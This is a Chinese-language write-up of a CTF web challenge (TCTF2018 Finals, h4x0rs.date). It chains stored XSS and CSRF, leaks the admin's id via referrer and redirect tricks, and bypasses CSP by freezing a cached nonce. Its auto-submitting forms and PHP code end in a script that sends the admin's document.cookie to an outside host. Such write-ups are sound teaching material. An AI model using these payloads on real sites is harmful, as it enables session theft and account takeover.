[TCTF2018 Finals] h4x0rs.date writeup 

(本题目前仍然在线,在本文写作时(2018/05/28 19:44),所有功能正常:https://h4x0rs.date/

1. 前期侦察

(如果了解题目背景可直接跳过

首先,这是一道Web题。题目说明中提到CSP (Content Security Policy),这属于前端安全的范畴,那么这应该是一道XSS题。

登录之后用户可以修改个人简介:

正常思路:这里有个XSS?

测试结果:的确有个XSS,写一个<b>test</b>试试…似乎没有任何过滤?!

进一步测试结果:我的<script>怎么执行不了?

回头看一眼题目说明:CSP把我的<script>拦下来了…

题目说明中有一个用户的个人页面地址,点进去看看:

点一下“LIKE♥”试试?

回到自己的个人页面,发现多了一个到i_am_not_admin用户的链接,嗯,这功能很正常。

所以网站的主要功能就是:(1) 写自己的个人简介;(2) 看别人的个人简介;(3) 互相like一下

前端安全除了XSS,最大的问题就是CSRF了,功能(1)和(3)会不会有CSRF呢?试了一下还真有!

功能(1)需要POST,但我们已经有支持<iframe>的XSS了,直接嵌入一个<form>进来,我们可以用JavaScript填一下表并把它提交。

虽然CSP限制了<script>,但CSRF的存在让我们可以在不同源的页面上做这件事,在不同源的页面上写一段<script>,不受限制。

功能(3)只需要GET,门槛更低,一个<img src="https://h4x0rs.date/like.php?id=xxx"></img>就可以触发了。

还有个report功能,应该是把网址提交给bot,bot会去访问一下:

试了一下,和预期一致,不过只接受站内链接,你如果让bot去访问一下你的个人博客,它是拒绝的。

这是个XSS题…那再看一下网站的cookie吧:有一个名为flag的cookie,写着”you_are_not_admin_no_flag_for_you”。那目标就很明确了,拿到管理员的cookie应该就能拿到flag了。

其他一些测试过但没有用的地方:

  • 没有明显的SQL注入
  • 对用户名做了很强的XSS过滤,没有利用价值
  • index.php的msg参数可以回显,但做了很强的HTML特殊字符转义,没有利用价值
  • login.php的redirect参数可以触发302跳转,但我们已经有XSS,用<meta>标签就可以触发302跳转

(为什么划掉最后一点呢?看似没用,后面会用到…)

到这里侦察完毕:有一个XSS,除了<script>标签都支持;有一个CSRF,网站主要功能都存在CSRF;目标:拿到管理员的cookie。

2. 解题思路

2.1 获取管理员ID

管理员账户看不见摸不着,如果试图直接拿cookie,在<script>标签被CSP严密防守的情况下相当困难。我们先想办法拿到管理员的id,看看他的个人简介,可能有下一步的思路。

我们在自己的个人主页插入一个<iframe>,准备通过report功能,让管理员访问我们的个人主页,执行<iframe>中的XSS代码:
<iframe src="https://lab.jinzihao.me/h4x0rs/getid.html"></iframe>
我们把这样一段代码写到https://lab.jinzihao.me/h4x0rs/getid.html页面上:

(当然,可以放在自己能控制的任何一个网址。由于目标网站h4x0rs.date已经强制启用https,为了避免麻烦,我们的XSS页面最好也使用https,避免被浏览器的安全策略拦截。)

<html>
  <body>
    <form action="https://h4x0rs.date/profile.php" method="POST">
      <input type="hidden" name="intro" value="</textarea><meta name=&quot;referrer&quot; content=&quot;always&quot;><img src=&quot;https://lab.jinzihao.me/h4x0rs/receiver.php&quot;><meta http-equiv=&quot;refresh&quot; content=&quot;0; url='/login.php?redirect=profile.php'&quot;>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

解释一下这段代码:

一个<form>,下面一个<script>,里面对<form>submit(),标准的POST型CSRF利用。

前期侦察时,容易注意到个人简介在提交之后,会在profile.php的<textarea>中回显,所以先用一个</textarea>,跳出<textarea>

接下来一个<meta name="referrer" content="always">,使得嵌入的<img>等元素,在向src发出请求时,无论是否同源,都会带上referer

接下来一个<img>标签,src指向我们控制的一个外部网页

最后一个<meta>302跳转,跳转到/login.php?redirect=profile.php,而这个网址会再次触发302跳转,跳转到哪里?不是简单的/profile.php,而是/profile.php?id=xxx。也就是说,这是一个在不知道一个用户的id的情况下,跳转到他的个人页面的传送门。

到这里,我们使用report功能,让管理员在一个<iframe>中加载我们的XSS页面,用CSRF修改他的个人简介,POST之后会跳转到个人简介,用</textarea>跳到文本框外,一个<meta name="referrer"强制其加载资源时携带referer,用一个<img>加载外部资源,最后再用一个<meta>跳转,让他携带上包含id的referer

我们提交report,管理员不断刷新自己的个人页面,通过referer字段,向我们的服务器送出一波id:

题目已经给出说明,管理员只会在我们提供给他的网址上停留15秒,之后就会重新登录,重新获得一个id。我们动作要快,在这15秒内通过https://h4x0rs.date/like.php?id=xxx的接口,like一下管理员,我们就获得了通向管理员个人页面的永久性传送门。

2.2 获取管理员cookie

拿到管理员id之后,拿cookie是否会变得容易呢?

CSP凭借因用户和页面而异,且每次刷新均会改变的nonce值,阻断了我们XSS代码中<script>的执行;但我们拿到管理员ID后,就可以有效地令CSP失效。

怎么做到的?下面是一段代码(调用方式和2.1 完全相同,在自己的个人页面使用<iframe>包含该页面,通过report功能让管理员去访问):

<?php
$opts = array (
    'http' => array (
        'method' => 'GET',
        'header'=>
            "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" .
            "Cookie:PHPSESSID=edi0ef5vcfk5ridfh3knu29s82; \r\n".
            "Pragma:no-cache\r\n",
    )
);
$context = stream_context_create($opts);
$result_data=file_get_contents("https://h4x0rs.date/profile.php",false,$context);
preg_match('/<li><a href="https:\/\/h4x0rs\.date\/profile\.php\?id=([0-9a-f]{64})">admin<\/a>/',$result_data,$ret);
$admin_id = $ret[1];
?>
<head>
    <script>
        setTimeout(function(){
            var meta = document.getElementsByTagName('meta')[0];
            var nonce = meta.content.substr(18,108);
            document.getElementById("intro").value = document.getElementById("intro").value.replace("_NONCE_", '"'+nonce+'"').replace("_META_",'<meta http-equiv="Cache-Control" content="public">');
            document.forms[0].submit();
        },3000);
    </script>
</head>
<script src="https://h4x0rs.date/assets/csp.js?id=<?=$admin_id?>&page=profile.php"></script>
<form action="https://h4x0rs.date/profile.php" method="post">
    <input id="intro" type="text" name="intro" value="</textarea>_META_<script nonce=_NONCE_>location.href='https://jinzihao.me/?'+document.cookie;</script>">
</form>

这是一段PHP和HTML混合代码。首先,前面的PHP代码使用我们自己的PHPSESSID,访问profile.php,用正则表达式提取出admin账户的id(在2.1中,我们已经like了admin账户,所以它会显示在profile.php的”You liked”这一部分)。

接下来的HTML代码中,我们放了一个延时3秒的函数,先跳过它,看到后面是一个<script>,我们把前面刚刚获取到的管理员id传进去,它就可以在页面上放置一个<meta>标签,里面有管理员在profile.php这个页面的nonce值。

接下来,延时3秒之后,我们读出这个<meta>标签的内容,提取出nonce值,接下来一个插入nonce值的操作,然后用<meta http-equiv="Cache-Control" content="public">,告诉管理员的浏览器,包括csp.js在内的资源是可以缓存的。这样我们就把管理员在profile.php上的nonce值锁住了,下一次管理员访问profile.php时,由于生成nonce值的csp.js被缓存,nonce值根本不会刷新。

最后,还是常规套路,一个<form>来利用POST型CSRF,在</textarea>跳出文本框之后,我们光明正大地插入一个<script>——这次我们有正确的nonce值。把document.cookie传出,flag就在管理员的cookie中: